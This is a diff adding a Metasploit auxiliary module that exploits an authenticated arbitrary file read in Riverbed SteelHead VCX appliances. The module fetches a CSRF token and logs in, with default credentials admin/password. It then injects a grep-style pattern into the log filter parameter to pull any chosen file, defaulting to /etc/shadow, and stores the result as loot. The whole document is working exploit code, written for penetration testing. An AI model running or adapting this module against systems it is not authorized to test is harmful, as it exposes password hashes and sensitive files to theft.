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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'json' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize |
| 15 | + super( |
| 16 | + 'Name' => 'Riverbed SteelHead VCX File Read', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an authenticated arbitrary file read in the log module's filter engine. |
| 19 | + SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable. |
| 20 | + }, |
| 21 | + 'References' => |
| 22 | + [ |
| 23 | + ['EDB', '42101'] |
| 24 | + ], |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Gregory DRAPERI <gregory.draper_at_gmail.com>', # Exploit |
| 28 | + 'h00die' # Module |
| 29 | + ], |
| 30 | + 'DisclosureDate' => 'Jun 01 2017', |
| 31 | + 'License' => MSF_LICENSE |
| 32 | + ) |
| 33 | + |
| 34 | + register_options( |
| 35 | + [ |
| 36 | + Opt::RPORT(80), |
| 37 | + OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']), |
| 38 | + OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']), |
| 39 | + OptString.new('USERNAME', [true, 'Username', 'admin']), |
| 40 | + OptString.new('PASSWORD', [true, 'Password', 'password']), |
| 41 | + ]) |
| 42 | + end |
| 43 | + |
| 44 | + def run_host(ip) |
| 45 | + |
| 46 | + # pull our csrf |
| 47 | + res = send_request_cgi({ |
| 48 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), |
| 49 | + 'method' => 'GET', |
| 50 | + 'vars_get' => { |
| 51 | + 'next' => '/' |
| 52 | + } |
| 53 | + }, 25) |
| 54 | + |
| 55 | + unless res |
| 56 | + print_error("#{full_uri} - Connection timed out") |
| 57 | + return |
| 58 | + end |
| 59 | + |
| 60 | + cookie = res.get_cookies |
| 61 | + csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0] |
| 62 | + vprint_status("CSRF Token: #{csrf}") |
| 63 | + |
| 64 | + # authenticate |
| 65 | + res = send_request_cgi({ |
| 66 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), |
| 67 | + 'method' => 'POST', |
| 68 | + 'cookie' => cookie, |
| 69 | + 'ctype' => 'application/x-www-form-urlencoded;', |
| 70 | + 'vars_post' => { |
| 71 | + 'csrfmiddlewaretoken' => csrf, |
| 72 | + '_fields' => JSON.generate({ |
| 73 | + 'username' => datastore['USERNAME'], |
| 74 | + 'password' => datastore['PASSWORD'], |
| 75 | + 'legalAccepted' => 'N/A', |
| 76 | + 'userAgent' => '' |
| 77 | + }) |
| 78 | + } |
| 79 | + }, 25) |
| 80 | + |
| 81 | + unless res |
| 82 | + print_error("#{full_uri} - Connection timed out") |
| 83 | + return |
| 84 | + end |
| 85 | + |
| 86 | + if res.code == 400 |
| 87 | + print_error('Failed Authentication') |
| 88 | + return |
| 89 | + elsif res.code == 200 |
| 90 | + vprint_good('Authenticated Successfully') |
| 91 | + end |
| 92 | + |
| 93 | + # pull the file |
| 94 | + res = send_request_cgi({ |
| 95 | + 'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'), |
| 96 | + 'method' => 'GET', |
| 97 | + 'cookie' => res.get_cookies, |
| 98 | + 'vars_get' => { |
| 99 | + 'filterStr' => "msg:-e .* #{datastore['FILE']}" |
| 100 | + } |
| 101 | + }, 25) |
| 102 | + |
| 103 | + unless res |
| 104 | + print_error("#{full_uri} - Connection timed out") |
| 105 | + return |
| 106 | + end |
| 107 | + |
| 108 | + if res && res.body |
| 109 | + result = JSON.parse(res.body) |
| 110 | + unless result.has_key?('web3.model') |
| 111 | + print_error('Invalid JSON returned') |
| 112 | + return |
| 113 | + end |
| 114 | + reconstructed_file = [] |
| 115 | + # so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with |
| 116 | + # the file name. It also, by default, includes other files, so we need to check we're on the right file. |
| 117 | + result['web3.model']['messages']['rows'].each do |row| |
| 118 | + if row['msg'].start_with?(datastore['FILE']) |
| 119 | + reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip() |
| 120 | + end |
| 121 | + end |
| 122 | + if reconstructed_file.any? |
| 123 | + reconstructed_file = reconstructed_file.join("\n") |
| 124 | + vprint_good("File Contents:\n#{reconstructed_file}") |
| 125 | + stored_path = store_loot('host.file', 'text/plain', rhost, reconstructed_file, datastore['FILE']) |
| 126 | + print_good("Stored #{datastore['FILE']} to #{stored_path}") |
| 127 | + else |
| 128 | + print_error("File not found or empty file: #{datastore['FILE']}") |
| 129 | + end |
| 130 | + end |
| 131 | + end |
| 132 | +end |
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